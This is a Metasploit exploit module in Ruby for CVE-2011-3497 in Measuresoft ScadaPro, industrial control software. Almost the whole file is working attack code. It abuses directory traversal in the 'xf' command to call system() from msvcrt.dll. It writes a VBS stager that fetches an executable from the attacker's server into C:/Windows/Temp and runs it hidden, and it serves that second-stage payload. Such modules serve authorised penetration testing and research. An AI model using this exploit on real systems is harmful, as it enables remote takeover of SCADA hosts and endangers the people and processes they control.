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##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Exploit::Remote
Rank = ExcellentRanking
include Msf::Exploit::Remote::HttpServer::HTML
include Msf::Exploit::Remote::Tcp
include Msf::Exploit::EXE
def initialize(info = {})
super(update_info(info,
'Name' => 'Measuresoft ScadaPro Remote Command Execution',
'Description' => %q{
This module allows remote attackers to execute arbitrary commands on the
affected system by abusing via Directory Traversal attack when using the
'xf' command (execute function). An attacker can execute system() from
msvcrt.dll to upload a backdoor and gain remote code execution. This
vulnerability affects version 4.0.0 and earlier.
},
'License' => MSF_LICENSE,
'Author' =>
[
'Luigi Auriemma', # Initial discovery/poc
'mr_me <steventhomasseeley[at]gmail.com>', # msf
'TecR0c <tecr0c[at]tecninja.net>', # msf
],
'References' =>
[
[ 'CVE', '2011-3497'],
[ 'OSVDB', '75490'],
[ 'BID', '49613'],
[ 'URL', 'http://aluigi.altervista.org/adv/scadapro_1-adv.txt'],
[ 'URL', 'http://us-cert.gov/control_systems/pdf/ICS-ALERT-11-256-04.pdf'],
# seemed pretty accurate to us ;)
[ 'URL', 'http://www.measuresoft.net/news/post/Inaccurate-Reports-of-Measuresoft-ScadaPro-400-Vulnerability.aspx'],
],
'DefaultOptions' =>
{
'InitialAutoRunScript' => 'post/windows/manage/priv_migrate',
},
'Platform' => 'win',
'Targets' =>
[
# truly universal
[ 'Automatic', { } ],
],
'DefaultTarget' => 0,
'DisclosureDate' => 'Sep 16 2011'))
register_options(
[
Opt::RPORT(11234),
OptString.new('URIPATH', [ true, "The URI to use.", "/" ]),
])
end
# couldn't generate a vbs or exe payload and then use the wF command
# as there is a limit to the amount of data to write to disk.
# so we just write out a vbs script like the old days.
def build_vbs(url, stager_name)
name_xmlhttp = rand_text_alpha(2)
name_adodb = rand_text_alpha(2)
tmp = "#{@temp_folder}/#{stager_name}"
vbs = "echo Set #{name_xmlhttp} = CreateObject(\"Microsoft.XMLHTTP\") "
vbs << ": #{name_xmlhttp}.open \"GET\",\"http://#{url}\",False : #{name_xmlhttp}.send"
vbs << ": Set #{name_adodb} = CreateObject(\"ADODB.Stream\") "
vbs << ": #{name_adodb}.Open : #{name_adodb}.Type=1 "
vbs << ": #{name_adodb}.Write #{name_xmlhttp}.responseBody "
vbs << ": #{name_adodb}.SaveToFile \"#{@temp_folder}/#{@payload_name}.exe\",2 "
vbs << ": CreateObject(\"WScript.Shell\").Run \"#{@temp_folder}/#{@payload_name}.exe\",0 >> #{tmp}"
return vbs
end
def on_request_uri(cli, request)
if request.uri =~ /\.exe/
print_status("Sending 2nd stage payload")
return if ((p=regenerate_payload(cli)) == nil)
data = generate_payload_exe( {:code=>p.encoded} )
send_response(cli, data, {'Content-Type' => 'application/octet-stream'} )
return
end
end
def exploit
# In order to save binary data to the file system the payload is written to a .vbs
# file and execute it from there.
@payload_name = rand_text_alpha(4)
@temp_folder = "C:/Windows/Temp"
if datastore['SRVHOST'] == '0.0.0.0'
lhost = Rex::Socket.source_address('50.50.50.50')
else
lhost = datastore['SRVHOST']
end
payload_src = lhost
payload_src << ":#{datastore['SRVPORT']}#{datastore['URIPATH']}#{@payload_name}.exe"
stager_name = rand_text_alpha(6) + ".vbs"
stager = build_vbs(payload_src, stager_name)
path = "..\\..\\..\\..\\..\\windows\\system32"
createvbs = "xf%#{path}\\msvcrt.dll,system,cmd /c #{stager}\r\n"
download_execute = "xf%#{path}\\msvcrt.dll,system,start #{@temp_folder}/#{stager_name}\r\n"
print_status("Sending 1st stage payload...")
connect
sock.get_once()
sock.put(createvbs)
sock.get_once()
sock.put(download_execute)
handler()
disconnect
super
end
end